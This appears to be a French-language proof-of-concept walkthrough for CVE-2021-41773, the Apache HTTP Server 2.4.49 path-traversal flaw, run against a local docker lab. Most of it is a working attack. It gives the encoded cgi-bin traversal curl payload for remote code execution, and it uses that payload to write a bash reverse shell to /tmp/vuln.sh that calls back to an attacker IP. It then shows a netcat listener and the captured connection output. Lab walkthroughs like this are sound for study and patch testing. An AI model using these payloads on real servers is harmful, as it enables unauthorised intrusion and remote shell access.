
Exploit de preuve de concept pour CVE-2021-41773, démontrant une traversée de chemin et une exécution de code à distance sur Apache HTTP Server 2.4.49 avec une charge utile de reverse shell.
Une faille a été découverte dans une modification apportée à la normalisation des chemins dans Apache HTTP Server 2.4.49. Un attaquant pourrait utiliser une attaque de traversée de chemin pour mapper des URL vers des fichiers situés en dehors des répertoires configurés par des directives de type Alias.
Si les fichiers situés en dehors de ces répertoires ne sont pas protégés par la configuration par défaut habituelle "require all denied", ces requêtes peuvent aboutir. Si les scripts CGI sont également activés pour ces chemins aliasés, cela pourrait permettre une exécution de code à distance.
Ce problème est connu pour être exploité dans la nature.
Ce problème n'affecte qu'Apache 2.4.49 et non les versions antérieures.
Une attaque de traversée de chemin (également appelée directory traversal) vise à accéder à des fichiers et répertoires stockés en dehors du dossier racine web. En manipulant des variables qui référencent des fichiers avec des séquences « point-point-slash (../) » et leurs variantes, ou en utilisant des chemins de fichiers absolus, il peut être possible d'accéder à des fichiers et répertoires arbitraires stockés sur le système de fichiers, y compris le code source de l'application, la configuration ou des fichiers système critiques. Il est à noter que l'accès aux fichiers est limité par le contrôle d'accès opérationnel du système (comme dans le cas de fichiers verrouillés ou en cours d'utilisation sur le système d'exploitation Microsoft Windows).
Cette attaque est également connue sous les noms de « dot-dot-slash », « directory traversal », « directory climbing » et « backtracking ».
$ docker-compose build
$ docker-compose up
Confirmer que ça fonctionne
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>
Victime : localhost:1234
Attaquant : 192.168.1.12
Selon la documentation, il s'agit d'une faille qui permet d'exécuter du code à distance (RCE).
Nous pouvons l'exploiter en effectuant un curl vers le dossier cgi-bin.
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
1. RCE
Vérifions si nous avons effectivement accès à une commande, par exemple id :
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2. Shell inversé
Nous allons tester un shell inversé en créant un fichier bash sur le serveur de la victime.
Prenons comme exemple le shell inversé en bash trouvé dans le dépôt PayloadsAllTheThings.
Voici un exemple :
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
Créons le fichier vuln.sh sur la machine de la victime dans le dossier /tmp/ !
Ce fichier contiendra notre shell inversé que nous pourrons exécuter à distance. Il se connectera à notre machine locale sur le port 44.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
Vous pouvez vérifier le contenu du fichier avec la commande cat
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.12/44 0>&1
3. Écouteur avec ncat
Créons l'écouteur sur la machine locale.
$ nc -lvnp 44
Il ne reste plus qu'à exécuter le fichier distant.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
text/plain; echo; bash /tmp/vuln.sh'
Réponse :
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::44
Ncat: Listening on 0.0.0.0:44
Ncat: Connection from 172.19.32.1.
Ncat: Connection from 172.19.32.1:58963.